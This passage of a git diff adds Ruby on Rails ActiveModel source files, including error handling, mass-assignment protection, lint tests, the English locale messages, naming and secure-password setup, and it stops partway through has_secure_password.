+        messages.each_with_object({}) do |(attribute, array), messages|
+          messages[attribute] = array.map { |message| full_message(attribute, message) }
+        end
+      else
+        without_default_proc(messages)
+      end
+    end
+
+    # Adds +message+ to the error messages and used validator type to +details+ on +attribute+.
+    # More than one error can be added to the same +attribute+.
+    # If no +message+ is supplied, <tt>:invalid</tt> is assumed.
+    #
+    #   person.errors.add(:name)
+    #   # => ["is invalid"]
+    #   person.errors.add(:name, :not_implemented, message: "must be implemented")
+    #   # => ["is invalid", "must be implemented"]
+    #
+    #   person.errors.messages
+    #   # => {:name=>["is invalid", "must be implemented"]}
+    #
+    #   person.errors.details
+    #   # => {:name=>[{error: :not_implemented}, {error: :invalid}]}
+    #
+    # If +message+ is a symbol, it will be translated using the appropriate
+    # scope (see +generate_message+).
+    #
+    # If +message+ is a proc, it will be called, allowing for things like
+    # <tt>Time.now</tt> to be used within an error.
+    #
+    # If the <tt>:strict</tt> option is set to +true+, it will raise
+    # ActiveModel::StrictValidationFailed instead of adding the error.
+    # <tt>:strict</tt> option can also be set to any other exception.
+    #
+    #   person.errors.add(:name, :invalid, strict: true)
+    #   # => ActiveModel::StrictValidationFailed: Name is invalid
+    #   person.errors.add(:name, :invalid, strict: NameIsInvalid)
+    #   # => NameIsInvalid: Name is invalid
+    #
+    #   person.errors.messages # => {}
+    #
+    # +attribute+ should be set to <tt>:base</tt> if the error is not
+    # directly associated with a single attribute.
+    #
+    #   person.errors.add(:base, :name_or_email_blank,
+    #     message: "either name or email must be present")
+    #   person.errors.messages
+    #   # => {:base=>["either name or email must be present"]}
+    #   person.errors.details
+    #   # => {:base=>[{error: :name_or_email_blank}]}
+    def add(attribute, message = :invalid, options = {})
+      message = message.call if message.respond_to?(:call)
+      detail  = normalize_detail(message, options)
+      message = normalize_message(attribute, message, options)
+      if exception = options[:strict]
+        exception = ActiveModel::StrictValidationFailed if exception == true
+        raise exception, full_message(attribute, message)
+      end
+
+      details[attribute.to_sym]  << detail
+      messages[attribute.to_sym] << message
+    end
+
+    # Returns +true+ if an error on the attribute with the given message is
+    # present, or +false+ otherwise. +message+ is treated the same as for +add+.
+    #
+    #   person.errors.add :name, :blank
+    #   person.errors.added? :name, :blank           # => true
+    #   person.errors.added? :name, "can't be blank" # => true
+    #
+    # If the error message requires an option, then it returns +true+ with
+    # the correct option, or +false+ with an incorrect or missing option.
+    #
+    #  person.errors.add :name, :too_long, { count: 25 }
+    #  person.errors.added? :name, :too_long, count: 25                     # => true
+    #  person.errors.added? :name, "is too long (maximum is 25 characters)" # => true
+    #  person.errors.added? :name, :too_long, count: 24                     # => false
+    #  person.errors.added? :name, :too_long                                # => false
+    #  person.errors.added? :name, "is too long"                            # => false
+    def added?(attribute, message = :invalid, options = {})
+      message = message.call if message.respond_to?(:call)
+      message = normalize_message(attribute, message, options)
+      self[attribute].include? message
+    end
+
+    # Returns all the full error messages in an array.
+    #
+    #   class Person
+    #     validates_presence_of :name, :address, :email
+    #     validates_length_of :name, in: 5..30
+    #   end
+    #
+    #   person = Person.create(address: '123 First St.')
+    #   person.errors.full_messages
+    #   # => ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"]
+    def full_messages
+      map { |attribute, message| full_message(attribute, message) }
+    end
+    alias :to_a :full_messages
+
+    # Returns all the full error messages for a given attribute in an array.
+    #
+    #   class Person
+    #     validates_presence_of :name, :email
+    #     validates_length_of :name, in: 5..30
+    #   end
+    #
+    #   person = Person.create()
+    #   person.errors.full_messages_for(:name)
+    #   # => ["Name is too short (minimum is 5 characters)", "Name can't be blank"]
+    def full_messages_for(attribute)
+      attribute = attribute.to_sym
+      messages[attribute].map { |message| full_message(attribute, message) }
+    end
+
+    # Returns a full message for a given attribute.
+    #
+    #   person.errors.full_message(:name, 'is invalid') # => "Name is invalid"
+    def full_message(attribute, message)
+      return message if attribute == :base
+      attr_name = attribute.to_s.tr(".", "_").humanize
+      attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+      I18n.t(:"errors.format",
+        default:  "%{attribute} %{message}",
+        attribute: attr_name,
+        message:   message)
+    end
+
+    # Translates an error message in its default scope
+    # (<tt>activemodel.errors.messages</tt>).
+    #
+    # Error messages are first looked up in <tt>activemodel.errors.models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>,
+    # if it's not there, it's looked up in <tt>activemodel.errors.models.MODEL.MESSAGE</tt> and if
+    # that is not there also, it returns the translation of the default message
+    # (e.g. <tt>activemodel.errors.messages.MESSAGE</tt>). The translated model
+    # name, translated attribute name and the value are available for
+    # interpolation.
+    #
+    # When using inheritance in your models, it will check all the inherited
+    # models too, but only if the model itself hasn't been found. Say you have
+    # <tt>class Admin < User; end</tt> and you wanted the translation for
+    # the <tt>:blank</tt> error message for the <tt>title</tt> attribute,
+    # it looks for these translations:
+    #
+    # * <tt>activemodel.errors.models.admin.attributes.title.blank</tt>
+    # * <tt>activemodel.errors.models.admin.blank</tt>
+    # * <tt>activemodel.errors.models.user.attributes.title.blank</tt>
+    # * <tt>activemodel.errors.models.user.blank</tt>
+    # * any default you provided through the +options+ hash (in the <tt>activemodel.errors</tt> scope)
+    # * <tt>activemodel.errors.messages.blank</tt>
+    # * <tt>errors.attributes.title.blank</tt>
+    # * <tt>errors.messages.blank</tt>
+    def generate_message(attribute, type = :invalid, options = {})
+      type = options.delete(:message) if options[:message].is_a?(Symbol)
+
+      if @base.class.respond_to?(:i18n_scope)
+        defaults = @base.class.lookup_ancestors.map do |klass|
+          [ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.attributes.#{attribute}.#{type}",
+            :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.#{type}" ]
+        end
+      else
+        defaults = []
+      end
+
+      defaults << :"#{@base.class.i18n_scope}.errors.messages.#{type}" if @base.class.respond_to?(:i18n_scope)
+      defaults << :"errors.attributes.#{attribute}.#{type}"
+      defaults << :"errors.messages.#{type}"
+
+      defaults.compact!
+      defaults.flatten!
+
+      key = defaults.shift
+      defaults = options.delete(:message) if options[:message]
+      value = (attribute != :base ? @base.send(:read_attribute_for_validation, attribute) : nil)
+
+      options = {
+        default: defaults,
+        model: @base.model_name.human,
+        attribute: @base.class.human_attribute_name(attribute),
+        value: value,
+        object: @base
+      }.merge!(options)
+
+      I18n.translate(key, options)
+    end
+
+    def marshal_dump # :nodoc:
+      [@base, without_default_proc(@messages), without_default_proc(@details)]
+    end
+
+    def marshal_load(array) # :nodoc:
+      @base, @messages, @details = array
+      apply_default_array(@messages)
+      apply_default_array(@details)
+    end
+
+    def init_with(coder) # :nodoc:
+      coder.map.each { |k, v| instance_variable_set(:"@#{k}", v) }
+      @details ||= {}
+      apply_default_array(@messages)
+      apply_default_array(@details)
+    end
+
+  private
+    def normalize_message(attribute, message, options)
+      case message
+      when Symbol
+        generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
+      else
+        message
+      end
+    end
+
+    def normalize_detail(message, options)
+      { error: message }.merge(options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS))
+    end
+
+    def without_default_proc(hash)
+      hash.dup.tap do |new_h|
+        new_h.default_proc = nil
+      end
+    end
+
+    def apply_default_array(hash)
+      hash.default_proc = proc { |h, key| h[key] = [] }
+      hash
+    end
+  end
+
+  # Raised when a validation cannot be corrected by end users and are considered
+  # exceptional.
+  #
+  #   class Person
+  #     include ActiveModel::Validations
+  #
+  #     attr_accessor :name
+  #
+  #     validates_presence_of :name, strict: true
+  #   end
+  #
+  #   person = Person.new
+  #   person.name = nil
+  #   person.valid?
+  #   # => ActiveModel::StrictValidationFailed: Name can't be blank
+  class StrictValidationFailed < StandardError
+  end
+
+  # Raised when attribute values are out of range.
+  class RangeError < ::RangeError
+  end
+
+  # Raised when unknown attributes are supplied via mass assignment.
+  #
+  #   class Person
+  #     include ActiveModel::AttributeAssignment
+  #     include ActiveModel::Validations
+  #   end
+  #
+  #   person = Person.new
+  #   person.assign_attributes(name: 'Gorby')
+  #   # => ActiveModel::UnknownAttributeError: unknown attribute 'name' for Person.
+  class UnknownAttributeError < NoMethodError
+    attr_reader :record, :attribute
+
+    def initialize(record, attribute)
+      @record = record
+      @attribute = attribute
+      super("unknown attribute '#{attribute}' for #{@record.class}.")
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/forbidden_attributes_protection.rb b/activemodel/lib/active_model/forbidden_attributes_protection.rb
new file mode 100644
index 0000000000..4b37f80c52
--- /dev/null
+++ b/activemodel/lib/active_model/forbidden_attributes_protection.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  # Raised when forbidden attributes are used for mass assignment.
+  #
+  #   class Person < ActiveRecord::Base
+  #   end
+  #
+  #   params = ActionController::Parameters.new(name: 'Bob')
+  #   Person.new(params)
+  #   # => ActiveModel::ForbiddenAttributesError
+  #
+  #   params.permit!
+  #   Person.new(params)
+  #   # => #<Person id: nil, name: "Bob">
+  class ForbiddenAttributesError < StandardError
+  end
+
+  module ForbiddenAttributesProtection # :nodoc:
+    private
+      def sanitize_for_mass_assignment(attributes)
+        if attributes.respond_to?(:permitted?)
+          raise ActiveModel::ForbiddenAttributesError if !attributes.permitted?
+          attributes.to_h
+        else
+          attributes
+        end
+      end
+      alias :sanitize_forbidden_attributes :sanitize_for_mass_assignment
+  end
+end
diff --git a/activemodel/lib/active_model/gem_version.rb b/activemodel/lib/active_model/gem_version.rb
new file mode 100644
index 0000000000..39269c159c
--- /dev/null
+++ b/activemodel/lib/active_model/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  # Returns the version of the currently loaded \Active \Model as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
new file mode 100644
index 0000000000..34d9ac6c96
--- /dev/null
+++ b/activemodel/lib/active_model/lint.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Lint
+    # == Active \Model \Lint \Tests
+    #
+    # You can test whether an object is compliant with the Active \Model API by
+    # including <tt>ActiveModel::Lint::Tests</tt> in your TestCase. It will
+    # include tests that tell you whether your object is fully compliant,
+    # or if not, which aspects of the API are not implemented.
+    #
+    # Note an object is not required to implement all APIs in order to work
+    # with Action Pack. This module only intends to provide guidance in case
+    # you want all features out of the box.
+    #
+    # These tests do not attempt to determine the semantic correctness of the
+    # returned values. For instance, you could implement <tt>valid?</tt> to
+    # always return +true+, and the tests would pass. It is up to you to ensure
+    # that the values are semantically meaningful.
+    #
+    # Objects you pass in are expected to return a compliant object from a call
+    # to <tt>to_model</tt>. It is perfectly fine for <tt>to_model</tt> to return
+    # +self+.
+    module Tests
+      # Passes if the object's model responds to <tt>to_key</tt> and if calling
+      # this method returns +nil+ when the object is not persisted.
+      # Fails otherwise.
+      #
+      # <tt>to_key</tt> returns an Enumerable of all (primary) key attributes
+      # of the model, and is used to a generate unique DOM id for the object.
+      def test_to_key
+        assert model.respond_to?(:to_key), "The model should respond to to_key"
+        def model.persisted?() false end
+        assert model.to_key.nil?, "to_key should return nil when `persisted?` returns false"
+      end
+
+      # Passes if the object's model responds to <tt>to_param</tt> and if
+      # calling this method returns +nil+ when the object is not persisted.
+      # Fails otherwise.
+      #
+      # <tt>to_param</tt> is used to represent the object's key in URLs.
+      # Implementers can decide to either raise an exception or provide a
+      # default in case the record uses a composite primary key. There are no
+      # tests for this behavior in lint because it doesn't make sense to force
+      # any of the possible implementation strategies on the implementer.
+      def test_to_param
+        assert model.respond_to?(:to_param), "The model should respond to to_param"
+        def model.to_key() [1] end
+        def model.persisted?() false end
+        assert model.to_param.nil?, "to_param should return nil when `persisted?` returns false"
+      end
+
+      # Passes if the object's model responds to <tt>to_partial_path</tt> and if
+      # calling this method returns a string. Fails otherwise.
+      #
+      # <tt>to_partial_path</tt> is used for looking up partials. For example,
+      # a BlogPost model might return "blog_posts/blog_post".
+      def test_to_partial_path
+        assert model.respond_to?(:to_partial_path), "The model should respond to to_partial_path"
+        assert_kind_of String, model.to_partial_path
+      end
+
+      # Passes if the object's model responds to <tt>persisted?</tt> and if
+      # calling this method returns either +true+ or +false+. Fails otherwise.
+      #
+      # <tt>persisted?</tt> is used when calculating the URL for an object.
+      # If the object is not persisted, a form for that object, for instance,
+      # will route to the create action. If it is persisted, a form for the
+      # object will route to the update action.
+      def test_persisted?
+        assert model.respond_to?(:persisted?), "The model should respond to persisted?"
+        assert_boolean model.persisted?, "persisted?"
+      end
+
+      # Passes if the object's model responds to <tt>model_name</tt> both as
+      # an instance method and as a class method, and if calling this method
+      # returns a string with some convenience methods: <tt>:human</tt>,
+      # <tt>:singular</tt> and <tt>:plural</tt>.
+      #
+      # Check ActiveModel::Naming for more information.
+      def test_model_naming
+        assert model.class.respond_to?(:model_name), "The model class should respond to model_name"
+        model_name = model.class.model_name
+        assert model_name.respond_to?(:to_str)
+        assert model_name.human.respond_to?(:to_str)
+        assert model_name.singular.respond_to?(:to_str)
+        assert model_name.plural.respond_to?(:to_str)
+
+        assert model.respond_to?(:model_name), "The model instance should respond to model_name"
+        assert_equal model.model_name, model.class.model_name
+      end
+
+      # Passes if the object's model responds to <tt>errors</tt> and if calling
+      # <tt>[](attribute)</tt> on the result of this method returns an array.
+      # Fails otherwise.
+      #
+      # <tt>errors[attribute]</tt> is used to retrieve the errors of a model
+      # for a given attribute. If errors are present, the method should return
+      # an array of strings that are the errors for the attribute in question.
+      # If localization is used, the strings should be localized for the current
+      # locale. If no error is present, the method should return an empty array.
+      def test_errors_aref
+        assert model.respond_to?(:errors), "The model should respond to errors"
+        assert model.errors[:hello].is_a?(Array), "errors#[] should return an Array"
+      end
+
+      private
+        def model
+          assert @model.respond_to?(:to_model), "The object should respond to to_model"
+          @model.to_model
+        end
+
+        def assert_boolean(result, name)
+          assert result == true || result == false, "#{name} should be a boolean"
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/locale/en.yml b/activemodel/lib/active_model/locale/en.yml
new file mode 100644
index 0000000000..061e35dd1e
--- /dev/null
+++ b/activemodel/lib/active_model/locale/en.yml
@@ -0,0 +1,36 @@
+en:
+  errors:
+    # The default format to use in full error messages.
+    format: "%{attribute} %{message}"
+
+    # The values :model, :attribute and :value are always available for interpolation
+    # The value :count is available when applicable. Can be used for pluralization.
+    messages:
+      model_invalid: "Validation failed: %{errors}"
+      inclusion: "is not included in the list"
+      exclusion: "is reserved"
+      invalid: "is invalid"
+      confirmation: "doesn't match %{attribute}"
+      accepted: "must be accepted"
+      empty: "can't be empty"
+      blank: "can't be blank"
+      present: "must be blank"
+      too_long:
+        one: "is too long (maximum is 1 character)"
+        other: "is too long (maximum is %{count} characters)"
+      too_short:
+        one: "is too short (minimum is 1 character)"
+        other: "is too short (minimum is %{count} characters)"
+      wrong_length:
+        one: "is the wrong length (should be 1 character)"
+        other: "is the wrong length (should be %{count} characters)"
+      not_a_number: "is not a number"
+      not_an_integer: "must be an integer"
+      greater_than: "must be greater than %{count}"
+      greater_than_or_equal_to: "must be greater than or equal to %{count}"
+      equal_to: "must be equal to %{count}"
+      less_than: "must be less than %{count}"
+      less_than_or_equal_to: "must be less than or equal to %{count}"
+      other_than: "must be other than %{count}"
+      odd: "must be odd"
+      even: "must be even"
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
new file mode 100644
index 0000000000..fc52cd4fdf
--- /dev/null
+++ b/activemodel/lib/active_model/model.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  # == Active \Model \Basic \Model
+  #
+  # Includes the required interface for an object to interact with
+  # Action Pack and Action View, using different Active Model modules.
+  # It includes model name introspections, conversions, translations and
+  # validations. Besides that, it allows you to initialize the object with a
+  # hash of attributes, pretty much like Active Record does.
+  #
+  # A minimal implementation could be:
+  #
+  #   class Person
+  #     include ActiveModel::Model
+  #     attr_accessor :name, :age
+  #   end
+  #
+  #   person = Person.new(name: 'bob', age: '18')
+  #   person.name # => "bob"
+  #   person.age  # => "18"
+  #
+  # Note that, by default, <tt>ActiveModel::Model</tt> implements <tt>persisted?</tt>
+  # to return +false+, which is the most common case. You may want to override
+  # it in your class to simulate a different scenario:
+  #
+  #   class Person
+  #     include ActiveModel::Model
+  #     attr_accessor :id, :name
+  #
+  #     def persisted?
+  #       self.id == 1
+  #     end
+  #   end
+  #
+  #   person = Person.new(id: 1, name: 'bob')
+  #   person.persisted? # => true
+  #
+  # Also, if for some reason you need to run code on <tt>initialize</tt>, make
+  # sure you call +super+ if you want the attributes hash initialization to
+  # happen.
+  #
+  #   class Person
+  #     include ActiveModel::Model
+  #     attr_accessor :id, :name, :omg
+  #
+  #     def initialize(attributes={})
+  #       super
+  #       @omg ||= true
+  #     end
+  #   end
+  #
+  #   person = Person.new(id: 1, name: 'bob')
+  #   person.omg # => true
+  #
+  # For more detailed information on other functionalities available, please
+  # refer to the specific modules included in <tt>ActiveModel::Model</tt>
+  # (see below).
+  module Model
+    extend ActiveSupport::Concern
+    include ActiveModel::AttributeAssignment
+    include ActiveModel::Validations
+    include ActiveModel::Conversion
+
+    included do
+      extend ActiveModel::Naming
+      extend ActiveModel::Translation
+    end
+
+    # Initializes a new model with the given +params+.
+    #
+    #   class Person
+    #     include ActiveModel::Model
+    #     attr_accessor :name, :age
+    #   end
+    #
+    #   person = Person.new(name: 'bob', age: '18')
+    #   person.name # => "bob"
+    #   person.age  # => "18"
+    def initialize(attributes = {})
+      assign_attributes(attributes) if attributes
+
+      super()
+    end
+
+    # Indicates if the model is persisted. Default is +false+.
+    #
+    #  class Person
+    #    include ActiveModel::Model
+    #    attr_accessor :id, :name
+    #  end
+    #
+    #  person = Person.new(id: 1, name: 'bob')
+    #  person.persisted? # => false
+    def persisted?
+      false
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
new file mode 100644
index 0000000000..a09659ad77
--- /dev/null
+++ b/activemodel/lib/active_model/naming.rb
@@ -0,0 +1,318 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/module/introspection"
+require "active_support/core_ext/module/remove_method"
+
+module ActiveModel
+  class Name
+    include Comparable
+
+    attr_reader :singular, :plural, :element, :collection,
+      :singular_route_key, :route_key, :param_key, :i18n_key,
+      :name
+
+    alias_method :cache_key, :collection
+
+    ##
+    # :method: ==
+    #
+    # :call-seq:
+    #   ==(other)
+    #
+    # Equivalent to <tt>String#==</tt>. Returns +true+ if the class name and
+    # +other+ are equal, otherwise +false+.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name == 'BlogPost'  # => true
+    #   BlogPost.model_name == 'Blog Post' # => false
+
+    ##
+    # :method: ===
+    #
+    # :call-seq:
+    #   ===(other)
+    #
+    # Equivalent to <tt>#==</tt>.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name === 'BlogPost'  # => true
+    #   BlogPost.model_name === 'Blog Post' # => false
+
+    ##
+    # :method: <=>
+    #
+    # :call-seq:
+    #   <=>(other)
+    #
+    # Equivalent to <tt>String#<=></tt>.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name <=> 'BlogPost'  # => 0
+    #   BlogPost.model_name <=> 'Blog'      # => 1
+    #   BlogPost.model_name <=> 'BlogPosts' # => -1
+
+    ##
+    # :method: =~
+    #
+    # :call-seq:
+    #   =~(regexp)
+    #
+    # Equivalent to <tt>String#=~</tt>. Match the class name against the given
+    # regexp. Returns the position where the match starts or +nil+ if there is
+    # no match.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name =~ /Post/ # => 4
+    #   BlogPost.model_name =~ /\d/   # => nil
+
+    ##
+    # :method: !~
+    #
+    # :call-seq:
+    #   !~(regexp)
+    #
+    # Equivalent to <tt>String#!~</tt>. Match the class name against the given
+    # regexp. Returns +true+ if there is no match, otherwise +false+.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name !~ /Post/ # => false
+    #   BlogPost.model_name !~ /\d/   # => true
+
+    ##
+    # :method: eql?
+    #
+    # :call-seq:
+    #   eql?(other)
+    #
+    # Equivalent to <tt>String#eql?</tt>. Returns +true+ if the class name and
+    # +other+ have the same length and content, otherwise +false+.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name.eql?('BlogPost')  # => true
+    #   BlogPost.model_name.eql?('Blog Post') # => false
+
+    ##
+    # :method: to_s
+    #
+    # :call-seq:
+    #   to_s()
+    #
+    # Returns the class name.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name.to_s # => "BlogPost"
+
+    ##
+    # :method: to_str
+    #
+    # :call-seq:
+    #   to_str()
+    #
+    # Equivalent to +to_s+.
+    delegate :==, :===, :<=>, :=~, :"!~", :eql?, :to_s,
+             :to_str, :as_json, to: :name
+
+    # Returns a new ActiveModel::Name instance. By default, the +namespace+
+    # and +name+ option will take the namespace and name of the given class
+    # respectively.
+    #
+    #   module Foo
+    #     class Bar
+    #     end
+    #   end
+    #
+    #   ActiveModel::Name.new(Foo::Bar).to_s
+    #   # => "Foo::Bar"
+    def initialize(klass, namespace = nil, name = nil)
+      @name = name || klass.name
+
+      raise ArgumentError, "Class name cannot be blank. You need to supply a name argument when anonymous class given" if @name.blank?
+
+      @unnamespaced = @name.sub(/^#{namespace.name}::/, "") if namespace
+      @klass        = klass
+      @singular     = _singularize(@name)
+      @plural       = ActiveSupport::Inflector.pluralize(@singular)
+      @element      = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(@name))
+      @human        = ActiveSupport::Inflector.humanize(@element)
+      @collection   = ActiveSupport::Inflector.tableize(@name)
+      @param_key    = (namespace ? _singularize(@unnamespaced) : @singular)
+      @i18n_key     = @name.underscore.to_sym
+
+      @route_key          = (namespace ? ActiveSupport::Inflector.pluralize(@param_key) : @plural.dup)
+      @singular_route_key = ActiveSupport::Inflector.singularize(@route_key)
+      @route_key << "_index" if @plural == @singular
+    end
+
+    # Transform the model name into a more human format, using I18n. By default,
+    # it will underscore then humanize the class name.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name.human # => "Blog post"
+    #
+    # Specify +options+ with additional translating options.
+    def human(options = {})
+      return @human unless @klass.respond_to?(:lookup_ancestors) &&
+                           @klass.respond_to?(:i18n_scope)
+
+      defaults = @klass.lookup_ancestors.map do |klass|
+        klass.model_name.i18n_key
+      end
+
+      defaults << options[:default] if options[:default]
+      defaults << @human
+
+      options = { scope: [@klass.i18n_scope, :models], count: 1, default: defaults }.merge!(options.except(:default))
+      I18n.translate(defaults.shift, options)
+    end
+
+    private
+
+      def _singularize(string)
+        ActiveSupport::Inflector.underscore(string).tr("/".freeze, "_".freeze)
+      end
+  end
+
+  # == Active \Model \Naming
+  #
+  # Creates a +model_name+ method on your object.
+  #
+  # To implement, just extend ActiveModel::Naming in your object:
+  #
+  #   class BookCover
+  #     extend ActiveModel::Naming
+  #   end
+  #
+  #   BookCover.model_name.name   # => "BookCover"
+  #   BookCover.model_name.human  # => "Book cover"
+  #
+  #   BookCover.model_name.i18n_key              # => :book_cover
+  #   BookModule::BookCover.model_name.i18n_key  # => :"book_module/book_cover"
+  #
+  # Providing the functionality that ActiveModel::Naming provides in your object
+  # is required to pass the \Active \Model Lint test. So either extending the
+  # provided method below, or rolling your own is required.
+  module Naming
+    def self.extended(base) #:nodoc:
+      base.remove_possible_method :model_name
+      base.delegate :model_name, to: :class
+    end
+
+    # Returns an ActiveModel::Name object for module. It can be
+    # used to retrieve all kinds of naming-related information
+    # (See ActiveModel::Name for more information).
+    #
+    #   class Person
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   Person.model_name.name     # => "Person"
+    #   Person.model_name.class    # => ActiveModel::Name
+    #   Person.model_name.singular # => "person"
+    #   Person.model_name.plural   # => "people"
+    def model_name
+      @_model_name ||= begin
+        namespace = parents.detect do |n|
+          n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?
+        end
+        ActiveModel::Name.new(self, namespace)
+      end
+    end
+
+    # Returns the plural class name of a record or class.
+    #
+    #   ActiveModel::Naming.plural(post)             # => "posts"
+    #   ActiveModel::Naming.plural(Highrise::Person) # => "highrise_people"
+    def self.plural(record_or_class)
+      model_name_from_record_or_class(record_or_class).plural
+    end
+
+    # Returns the singular class name of a record or class.
+    #
+    #   ActiveModel::Naming.singular(post)             # => "post"
+    #   ActiveModel::Naming.singular(Highrise::Person) # => "highrise_person"
+    def self.singular(record_or_class)
+      model_name_from_record_or_class(record_or_class).singular
+    end
+
+    # Identifies whether the class name of a record or class is uncountable.
+    #
+    #   ActiveModel::Naming.uncountable?(Sheep) # => true
+    #   ActiveModel::Naming.uncountable?(Post)  # => false
+    def self.uncountable?(record_or_class)
+      plural(record_or_class) == singular(record_or_class)
+    end
+
+    # Returns string to use while generating route names. It differs for
+    # namespaced models regarding whether it's inside isolated engine.
+    #
+    #   # For isolated engine:
+    #   ActiveModel::Naming.singular_route_key(Blog::Post) # => "post"
+    #
+    #   # For shared engine:
+    #   ActiveModel::Naming.singular_route_key(Blog::Post) # => "blog_post"
+    def self.singular_route_key(record_or_class)
+      model_name_from_record_or_class(record_or_class).singular_route_key
+    end
+
+    # Returns string to use while generating route names. It differs for
+    # namespaced models regarding whether it's inside isolated engine.
+    #
+    #   # For isolated engine:
+    #   ActiveModel::Naming.route_key(Blog::Post) # => "posts"
+    #
+    #   # For shared engine:
+    #   ActiveModel::Naming.route_key(Blog::Post) # => "blog_posts"
+    #
+    # The route key also considers if the noun is uncountable and, in
+    # such cases, automatically appends _index.
+    def self.route_key(record_or_class)
+      model_name_from_record_or_class(record_or_class).route_key
+    end
+
+    # Returns string to use for params names. It differs for
+    # namespaced models regarding whether it's inside isolated engine.
+    #
+    #   # For isolated engine:
+    #   ActiveModel::Naming.param_key(Blog::Post) # => "post"
+    #
+    #   # For shared engine:
+    #   ActiveModel::Naming.param_key(Blog::Post) # => "blog_post"
+    def self.param_key(record_or_class)
+      model_name_from_record_or_class(record_or_class).param_key
+    end
+
+    def self.model_name_from_record_or_class(record_or_class) #:nodoc:
+      if record_or_class.respond_to?(:to_model)
+        record_or_class.to_model.model_name
+      else
+        record_or_class.model_name
+      end
+    end
+    private_class_method :model_name_from_record_or_class
+  end
+end
diff --git a/activemodel/lib/active_model/railtie.rb b/activemodel/lib/active_model/railtie.rb
new file mode 100644
index 0000000000..a9cdabba00
--- /dev/null
+++ b/activemodel/lib/active_model/railtie.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "active_model"
+require "rails"
+
+module ActiveModel
+  class Railtie < Rails::Railtie # :nodoc:
+    config.eager_load_namespaces << ActiveModel
+
+    initializer "active_model.secure_password" do
+      ActiveModel::SecurePassword.min_cost = Rails.env.test?
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
new file mode 100644
index 0000000000..197f7f20b9
--- /dev/null
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module SecurePassword
+    extend ActiveSupport::Concern
+
+    # BCrypt hash function can handle maximum 72 characters, and if we pass
+    # password of length more than 72 characters it ignores extra characters.
+    # Hence need to put a restriction on password length.
+    MAX_PASSWORD_LENGTH_ALLOWED = 72
+
+    class << self
+      attr_accessor :min_cost # :nodoc:
+    end
+    self.min_cost = false
+
+    module ClassMethods
+      # Adds methods to set and authenticate against a BCrypt password.
+      # This mechanism requires you to have a +password_digest+ attribute.
+      #
+      # The following validations are added automatically:
+      # * Password must be present on creation
+      # * Password length should be less than or equal to 72 characters
+      # * Confirmation of password (using a +password_confirmation+ attribute)
+      #
+      # If password confirmation validation is not needed, simply leave out the
+      # value for +password_confirmation+ (i.e. don't provide a form field for
+      # it). When this attribute has a +nil+ value, the validation will not be
+      # triggered.
+      #
+      # For further customizability, it is possible to suppress the default
+      # validations by passing <tt>validations: false</tt> as an argument.
+      #
+      # Add bcrypt (~> 3.1.7) to Gemfile to use #has_secure_password:
+      #
+      #   gem 'bcrypt', '~> 3.1.7'
+      #
+      # Example using Active Record (which automatically includes ActiveModel::SecurePassword):
+      #
+      #   # Schema: User(name:string, password_digest:string)
+      #   class User < ActiveRecord::Base
+      #     has_secure_password
+      #   end
+      #
+      #   user = User.new(name: 'david', password: '', password_confirmation: 'nomatch')
+      #   user.save                                                       # => false, password required
+      #   user.password = 'mUc3m00RsqyRe'
+      #   user.save                                                       # => false, confirmation doesn't match
+      #   user.password_confirmation = 'mUc3m00RsqyRe'
+      #   user.save                                                       # => true
+      #   user.authenticate('notright')                                   # => false
+      #   user.authenticate('mUc3m00RsqyRe')                              # => user
+      #   User.find_by(name: 'david').try(:authenticate, 'notright')      # => false
+      #   User.find_by(name: 'david').try(:authenticate, 'mUc3m00RsqyRe') # => user
+      def has_secure_password(options = {})
+        # Load bcrypt gem only when has_secure_password is used.
+        # This is to avoid ActiveModel (and by extension the entire framework)
+        # being dependent on a binary library.
+        begin
+          require "bcrypt"
+        rescue LoadError
